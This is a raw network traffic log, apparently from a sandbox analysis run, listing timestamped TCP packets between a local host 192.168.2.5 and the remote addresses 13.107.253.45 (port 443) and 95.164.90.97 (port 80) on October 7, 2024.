Oct 7, 2024 21:18:35.918464899 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.918483019 CEST	49835	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.918487072 CEST	443	49835	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.920588970 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.920628071 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:35.920690060 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.920814991 CEST	49841	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:35.920829058 CEST	443	49841	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:36.016097069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.016227961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.021208048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.026177883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.501585007 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.501663923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502016068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502027988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502038956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502043962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502052069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502057076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502070904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502084017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502085924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502095938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502109051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502110004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502120972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502127886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502134085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502146959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502147913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502156973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502197027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502917051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502958059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502968073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502969027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.502974033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.502986908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.503000975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.503011942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.503015041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.503026962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.503036022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.503078938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.503078938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.503669977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.503891945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.507158041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507214069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507244110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.507316113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.507330894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507344961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507410049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.507563114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507627964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507641077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507752895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507764101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.507776976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.507868052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.508568048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.508635044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.508646011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.508658886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.508694887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.508694887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.508757114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.508769989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.508810043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.508810043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.509428978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.509483099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.509495020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.509510994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.509634972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.509641886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.509660959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.509866953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.510413885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.510452986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.510464907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.510479927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.510514975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.510606050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.510617018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.510694981 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.510744095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.511455059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.511466980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.511480093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.511558056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.511562109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.511575937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.511617899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.511619091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.512221098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.512295008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.512306929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.512320995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.512481928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515141964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515326977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515448093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515470028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515480995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515491962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515503883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515515089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515527010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515537024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515548944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515554905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515563965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515575886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515583038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515594006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515604019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515607119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515619993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515630007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515640020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515711069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.515737057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515912056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.515938044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.516048908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.516074896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.516088009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.516129971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.516168118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.516801119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.516959906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.516961098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.516973019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.517024994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.517024994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.517255068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.517390013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.517497063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.517743111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.517755032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.517772913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.517797947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.517843962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.518251896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.518392086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.518415928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.518456936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.518482924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.518657923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.518670082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.518722057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.518722057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.520236015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.520291090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.531287909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531303883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531316042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531327009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531349897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531357050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531364918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.531476021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.531877041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531891108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531903028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.531929016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.531974077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.532011986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.532134056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.532198906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.532336950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.532339096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.532411098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.532490969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.532548904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.532850981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.532860994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.532875061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533011913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533024073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533035994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533041954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533092976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533092976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533189058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533286095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533298969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533308983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533312082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533324003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533335924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533339024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533339024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533349037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533355951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533375978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533500910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533713102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533724070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533735037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533746004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.533775091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.533817053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534076929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534090042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534100056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534111977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534136057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534214020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534229040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534241915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534255028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534266949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534281969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534327030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534327030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534408092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534615040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534780979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534792900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534806967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534831047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534935951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534949064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534961939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534965992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.534976959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.534989119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535031080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535031080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535283089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.535295963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.535310030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.535350084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535589933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.535603046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.535617113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.535617113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535628080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535645008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.535773993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.536880970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.536895037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.536920071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.536950111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537029028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537029028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537045002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537061930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537089109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537121058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537121058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537210941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537370920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537383080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537395954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537409067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537424088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537437916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537528038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537540913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537553072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.537556887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537586927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.537655115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538376093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538382053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538386106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538456917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538456917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538516998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538530111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538542032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538558960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538588047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538588047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538655996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538834095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538846016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538865089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.538891077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.538938046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539011955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539024115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539035082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539047003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539057016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539063931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539063931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539072037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539077044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539124012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539124012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539516926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539535046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539544106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539551020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539558887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539562941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539565086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.539589882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.539624929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.540018082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540028095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540038109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540096045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.540096045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.540196896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540208101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540213108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540219069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540286064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.540451050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.540539026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613022089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613084078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613095045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613104105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613181114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613183022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613183022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613194942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613208055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613234043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613284111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613352060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613364935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613378048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.613400936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.613466978 CEST	49810	80	192.168.2.5	95.164.90.97
